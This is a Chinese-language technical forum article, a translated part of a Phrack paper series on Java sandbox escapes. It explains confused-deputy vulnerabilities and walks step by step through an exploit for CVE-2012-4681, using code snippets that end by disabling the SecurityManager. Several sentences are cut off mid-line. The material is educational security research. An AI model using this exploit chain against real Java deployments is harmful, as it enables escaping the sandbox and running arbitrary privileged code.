Java沙箱逃逸走过的二十个春秋（四）

mss**** / 2018-10-04 11:28:58 / 浏览数 3697 技术文章 技术文章 顶(0) 踩(0)

原文：http://phrack.org/papers/escaping_the_java_sandbox.html

在前面几篇文章中，我们为读者全面介绍了基于内存破坏型漏洞的沙箱逃逸技术。从本文开始，我们将介绍Java级别的漏洞。首先，让我们来了解一下糊涂的代理人漏洞。

--[4 - Java级别的漏洞

----[4.1 - 糊涂的代理人漏洞

------[4.1.1 - 背景知识

在Java平台上，糊涂的代理人攻击是一种很常见的攻击类型。具体的例子包括针对CVE-2012-5088、CVE-2012-5076、CVE-2013-2460以及CVE-2012-4681漏洞的攻击，

------[4.1.2 -示例： CVE-2012-4681

我们将考察CVE-2012-4681漏洞，因为这是一个典型的糊涂的代理人攻击。

首先，我们需要获取_sun.awt.SunToolkit_的访问权限，由于这是一个受限制的类，所以，不受信任的代码是无法访问它的。

```
1: Expression expr0 = new Expression(Class.class, "forName",
 2:    new Object[] {"sun.awt.SunToolkit"});
 3: Class sunToolkit = (Class)expr.execute().getValue();
```

上面就是利用这个漏洞的方法。即使我们将Class.forName()指定为Expression的目标方法，但实际上并不会调用这个方法。相反，_Expression_实现了专门针对这种情况的

接下来，我们就可以使用SunToolkit.getField()方法来访问私有字段Statement.acc了。

```
1: Expression expr1 = new Expression(sunToolkit, "getField",
 2:    new Object[] {Statement.class, "acc"});
 3: Field acc = expr1.execute().getValue();
```

getField()是另一个糊涂的代理人，在它的帮助下，我们可以通过反射机制来访问系统类的私有字段。以下代码演示了getField()方法是如何使用doPrivileged()来读取相应的

SunToolkit.java

```
 1: public static Field getField(final Class klass,
 2:    final String fieldName) {
 3:  return AccessController.doPrivileged(
 4:    new PrivilgedAction<Field>() {
 5:        public Field run() {
 6:        ...
 7:            Field field = klass.getDeclaredField(fieldName);
 8:            ...
 9:            field.setAccessible(true);
10:            return field;
11:        ...
```

接下来，我们创建一个AccessControlContext，它将被授予全部的权限。

```
1: Permissions permissions = new Permissions();
 2: permissions.add(new AllPermission());
 3: ProtectionDomain pd = new ProtectionDomain(new CodeSource(
 4:    new URL("file:///"), new Certificate[0]), permissions);
 5: AccessControlContext newAcc =
 6:    AccessControlContext(new ProtectionDomain[] {pd});
```

_Statement_对象能够代表任意的方法调用。创建_Statement_实例时，会把当前的安全上下文存放到Statement.acc中。调用Statement.execute()时，它会在存放于State

接下来，我们创建一个代表System.setSecurityManager（null）调用的Statement，并用被赋予了全部的权限的新AccessControlContext，来覆盖掉存放在Statement.ac

```
1: Statement stmt = new Statement(System.class, "setSecurityManager",
 2:    new Object[1]);
 3: acc.set(stmt, newAcc)
```

最后，我们调用stmt.execute()来实际执行对setSecurityManager()的调用。这个调用将会成功，因为stmt.acc中的安全上下文，已经被拥有全部特权的安全上下文替换掉了

------[4.1.3 - 讨论

糊涂的代理人攻击问题，在本质上是由Java平台安全的核心概念引起的。沙箱的一个关键机制是基于堆栈的访问控制：在进行敏感操作前，会对调用堆栈进行检查，例如，看

小结

从本文开始，我们将介绍Java级别的漏洞。在本文中，我们讲解了糊涂的代理人漏洞方面的内容，在下一篇文章中，我们将继续为读者介绍更多精彩内容，敬请期待。

上一篇：DanaBot银行木马更新，被配置... 下一篇：Java沙箱逃逸走过的二十个春秋（五）

1. 0 条回复
   - 动动手指，沙发就是你的了！